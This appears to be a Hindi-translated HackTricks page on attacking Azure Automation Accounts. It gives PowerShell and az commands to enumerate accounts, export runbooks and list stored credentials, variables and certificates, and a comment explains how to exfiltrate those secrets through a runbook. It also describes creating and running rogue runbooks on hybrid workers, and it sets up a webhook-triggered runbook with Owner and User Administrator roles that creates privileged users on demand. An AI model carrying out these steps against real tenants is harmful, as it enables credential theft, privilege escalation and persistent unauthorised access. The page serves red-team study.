Az - Automation Account

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

दस्तावेज़ से: Azure Automation एक क्लाउड-आधारित ऑटोमेशन, ऑपरेटिंग सिस्टम अपड

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

रनबुक बनाएं

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

आप एक मौजूदा रन बुक को संशोधित करके और वेब कंसोल से भी एक ही चीज कर सकते हैं।

एक स्वचालित उच्च विशेषाधिकारी उपयोगकर्ता निर्माण सेटअप करने के लिए कदम

1. एक ऑटोमेशन अकाउंट की आरंभिककरण

  • कार्रवाई आवश्यक: एक नया ऑटोमेशन अकाउंट बनाएं।

  • विशेष सेटिंग: सुनिश्चित करें कि "Create Azure Run As account" सक्षम है।

2. रनबुक को आयात और सेटअप करें

  • स्रोत: MicroBurst GitHub Repository से नमूना रनबुक डाउनलोड करें।

  • कार्रवाई आवश्यक:

  • रनबुक को ऑटोमेशन अकाउंट में आयात करें।

  • रनबुक को प्रकाशित करें ताकि इसे क्रियाशील बनाया जा सके।

  • रनबुक के लिए एक वेबहुक जोड़ें, बाहरी प्रेरकों को सक्षम करना।

3. AzureAD मॉड्यूल कॉन्फ़िगर करें

  • कार्रवाई आवश्यक: AzureAD मॉड्यूल को ऑटोमेशन अकाउंट में जोड़ें।

  • अतिरिक्त कदम: सुनिश्चित करें कि सभी Azure ऑटोमेशन मॉड्यूल उनके नवीनतम संस्करणों में अपडेट हैं।

4. अनुमति निर्धारण

  • भूमिकाएँ असाइन करें:

  • उपयोगकर्ता प्रशासक

  • सब्सक्रिप्शन मालिक

  • लक्ष्य: आवश्यक विशेषाधिकारों के लिए ऑटोमेशन अकाउंट को इन भूमिकाओं को असाइन करें।

5. पहुंच हानि की जागरूकता

  • ध्यान दें: ध्यान दें कि ऐसी स्वचालन कॉन्फ़िगर करने से सदस्यता पर नियंत्रण खोने का संभावना है।

6. उपयोगकर्ता निर्माण को ट्रिगर करें

  • एक पोस्ट अनुरोध भेजकर एक नए उपयोगकर्ता बनाने के लिए वेबहुक को ट्रिगर करें।

  • प्रदान किए गए PowerShell स्क्रिप्ट का उपयोग करें, सुनिश्चित करें कि आप अपने वास्तविक वेबहुक URL के साथ $uri को बदल दें और $AccountInfo को वांछित उपयोगकर्ता नाम और पासवर्ड के साथ अपडेट करें।

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

संदर्भ

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated